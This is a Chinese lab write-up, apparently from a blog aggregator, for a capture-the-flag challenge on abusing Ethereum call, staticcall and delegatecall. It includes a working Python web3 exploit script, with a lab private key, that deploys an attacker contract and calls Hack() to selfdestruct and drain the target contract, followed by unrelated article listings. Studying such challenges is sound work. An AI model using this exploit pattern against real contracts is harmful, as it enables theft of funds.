某60区块链安全之Call函数簇滥用实战二学习记录

news2025/1/12 8:53:42

区块链安全

文章目录

  • 区块链安全
  • Call函数簇滥用实战二
    • 实验目的
    • 实验环境
    • 实验原理
    • 实验内容
    • 实验步骤
      • EXP利用


Call函数簇滥用实战二

实验目的

学会使用python3的web3模块
学会并区分以太坊call、staticcall、delegatecall三种函数调用的特点
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机
实验工具
python3

实验原理

call调用,最常用的调用方式,调用后内置变量msg的值会修改为调用者,执行环境为被调用者的运行环境
delegatecall调用,调用后内置变量msg的值不会修改为调用者,但执行环境为调用者的运行环境
staticcall调用,调用之后不能改变合约状态,否则交易会回滚

实验内容

合约中使用到了call、delegatecall、staticcall函数调用,找到合约漏洞并形成利用,把合约余额清空即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10006

实验步骤

获取合约地址和合约源代码
nc ip 10006连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth

在这里插入图片描述
在这里插入图片描述

nc ip 10006连接到题目,输入2,获取部署合约的地址及new token

在这里插入图片描述

nc ip 10006连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求清空合约余额
在这里插入图片描述

先分析程序主要逻辑:首先拿calldata,staticcall自己,保证交易正常进行不会revert回滚;其次拿calldata,call自己,这个时候自己调用自己,会执行delegatecall逻辑;题目要求清空合约余额,可以借助delegatecall直接destruct合约
所以设计一个攻击合约,只需要满足staticcall的时候不改变合约状态,delegatecall的时候执行selfdestruct即可,由于是0.6.12版本,可借助try catch实现。

EXP利用

用python编写自动化exp,功能包括部署攻击合约得到攻击合约地址,将其作为题目合约的hack函数参数进行调用即可

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0xE7f096F94e7BCa204A673319510FB051E526a70E"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.6.12')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:Solver']

txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

time.sleep(5)

data = Web3.keccak(text='Hack(address)').hex()[:10]
data += hack_address[2:].rjust(64, '0')  # Hack(address)
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
print(sign_and_send(txn))

执行exp

在这里插入图片描述

nc ip 10006连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1240599.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

RK3588平台开发系列讲解(嵌入式AI篇)RKNPU详解

文章目录 一、CPU、GPU、FPGA和NPU介绍二、CPU、GPU、FPGA和NPU区别三、NPU 应用四、RKNPU沉淀、分享、成长,让自己和他人都能有所收获!😄 📢 本篇将给大家介绍什么是RKNPU。 一、CPU、GPU、FPGA和NPU介绍 二、CPU、GPU、FPGA和NPU区别 若考虑成本、功耗、计算能力以及体…

for 循环变量的声明方式

获取字符串中的第一个单词&#xff0c;for 循环中的 &value 声明比较特殊&#xff0c;结合图1编译器的提示&#xff0c;value 是一个 u8 类型。 fn get_first_world(s: &str) -> &str {let bytes s.as_bytes();for (i, &value) in bytes.iter().enumerate…

论文笔记:Localizing Cell Towers fromCrowdsourced Measurements

2015 1 Intro 1.1 motivation opensignal.com 、cellmapper.net 和 opencellid.org 都是提供天线&#xff08;antenna&#xff09;位置的网站 他们提供的天线位置相当准确&#xff0c;但至少在大多数情况下不完全正确这个目标难以实现的原因是蜂窝网络供应商没有义务提供有…

0基础学习VR全景平台篇第122篇:VR视频剪辑和输出 - PR软件教程

上课&#xff01;全体起立~ 大家好&#xff0c;欢迎观看蛙色官方系列全景摄影课程&#xff01; 开始之前如果没有接触过pr这款软件的话&#xff0c;建议先去看上一篇 认识视频剪辑软件Premiere 大致了解一下pr。 回到正题今天来教大家VR视频的剪辑和输出 我们先双击打开…

5-6求1-20的阶乘和

#include<stdio.h> //求阶乘 int main(){int n;double sum0;//求和&#xff1a;一点一点加int t1;for (n1;n<15;n){tt*n;sumsumt;}printf("结果是&#xff1a;%22.15e \n",sum);return 0; }为啥最后是%22.15e呢&#xff1f; 因为这个求和的结果太大了 所以转…

基于JavaWeb+SSM+Vue家庭记账本微信小程序系统的设计和实现

基于JavaWebSSMVue家庭记账本微信小程序系统的设计和实现 源码获取入口前言主要技术系统设计功能截图Lun文目录订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 源码获取入口 前言 1.1选题背景 互联网是人类的基本需求&#xff0c;特别是在现代社会&#xff0c;个人…

MongoDB的常用操作以及python连接MongoDB

一,MongoDB的启动 mongod --dbpath..\data\db mongodb注意同时开两个窗口&#xff0c;不要关&#xff01; 二, MongoDB的简单使用 简单介绍一下mongoDB中一些操作 show dbs: 显示所有数据库 show databases: 显示所有数据库 use xxxx: 使用指定数据库/创建数据库&#xff08…

Jina AI 的 8K 向量模型上线 AWS Marketplace,支持本地部署!

在当前多模态 AI 和大模型技术风头正劲的背景下&#xff0c;Jina AI 始终领跑于创新前沿&#xff0c;技术领先。2023 年 10 月 30 日&#xff0c;Jina AI 隆重推出 jina-embeddings-v2&#xff0c;这是全球首款支持 8192 输入长度的开源向量大模型&#xff0c;其性能媲美 OpenA…

【计算机基础】通过插件plantuml,实现在VScode里面绘制状态机

&#x1f4e2;&#xff1a;如果你也对机器人、人工智能感兴趣&#xff0c;看来我们志同道合✨ &#x1f4e2;&#xff1a;不妨浏览一下我的博客主页【https://blog.csdn.net/weixin_51244852】 &#x1f4e2;&#xff1a;文章若有幸对你有帮助&#xff0c;可点赞 &#x1f44d;…

frp内网穿透配置以及相关端口、过程解释

介绍 假设现有外网笔记本、云服务器、内网工作站三台设备&#xff0c;希望使用外网笔记本通过云服务器转发&#xff0c;访问内网工作站&#xff1b;这里使用frp进行内网穿透。 云服务器端配置 登录腾讯轻量型云服务器控制台&#xff0c;开放转发端口、bind_port以及deshboad…

【开源】基于JAVA的开放实验室管理系统

项目编号&#xff1a; S 013 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S013&#xff0c;文末获取源码。} 项目编号&#xff1a;S013&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 实验室类型模块2.2 实验室模块2.3 实…

黑马React18: ReactRouter

黑马React: ReactRouter Date: November 21, 2023 Sum: React路由基础、路由导航、导航传参、嵌套路由配置 路由快速上手 1. 什么是前端路由 一个路径 path 对应一个组件 component 当我们在浏览器中访问一个 path 的时候&#xff0c;path 对应的组件会在页面中进行渲染 2. …

【开源】基于JAVA的音乐偏好度推荐系统

项目编号&#xff1a; S 012 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S012&#xff0c;文末获取源码。} 项目编号&#xff1a;S012&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、系统设计2.1 功能模块设计2.1.1 音乐档案模块2.1…

基于爬行动物算法优化概率神经网络PNN的分类预测 - 附代码

基于爬行动物算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于爬行动物算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于爬行动物优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神…

SSM之Mybatis框架

1 概述 1.1 什么是Mybayis 它是一款半自动的ORM持久层框架&#xff0c;具有较高的SQL灵活性&#xff0c;支持高级映射(一对一&#xff0c;一对多)&#xff0c;动态SQL&#xff0c;延迟加载和缓存等特性&#xff0c;但它的数据库无关性较低。 1.2 什么是ORM ORM&#xff08;…

黑马点评笔记 redis实现缓存

文章目录 什么是缓存?为什么要使用缓存 如何使用缓存功能实现缓存模型和思路代码实现 缓存更新策略数据库缓存不一致解决方案代码实现 什么是缓存? 缓存(Cache),就是数据交换的缓冲区,俗称的缓存就是缓冲区内的数据,一般从数据库中获取,存储于本地代码(例如: 例1:Static fi…

SpringBoot:kaptcha生成验证码

GitHub项目地址&#xff1a;GitHub - penggle/kaptcha: kaptcha - A kaptcha generation engine. kaptcha介绍 kaptcha官网&#xff08;Google Code Archive - Long-term storage for Google Code Project Hosting.&#xff09;对其介绍如下&#xff0c; kaptcha十分易于安装…

刚刚!OpenAI官宣!Sam Altman回归OpenAI 担任CEO

大家好我是二狗&#xff0c;就在刚刚&#xff01; OpenAI宣布&#xff0c;Sam Altman将重新回到 OpenAI 担任CEO。 并组建由Bret Taylor&#xff08;主席&#xff09;、Larry Summers 和 Adam DAngelo 组成的新的初始董事会。 Sam Altman第一时间做了石锤回应&#xff1a; Sa…

office word 使用笔记

office word 使用笔记 1. 功能1.1 格式快捷键1.2 复选框 2 遇到过的问题2.1 表格标题和表格距离过大 1. 功能 1.1 格式快捷键 复制格式&#xff1a;ctrl shift c 粘贴格式&#xff1a;ctrl shift v 1.2 复选框 方框位置和类型&#xff1a;“插入——高级符号——字体”选…

pikachu靶场Table pikachu.member doesn’t exist:解决

背景&#xff1a; 第一次搭建pikachu靶场&#xff0c;搭建好后访问index.php后&#xff0c;尝试练习&#xff0c;发现界面显示Table pikachu.member doesn t exist&#xff0c;后来找了很多教程&#xff0c;没有解决&#xff0c;后来发现是自己没有进行初始化&#xff0c;给大家…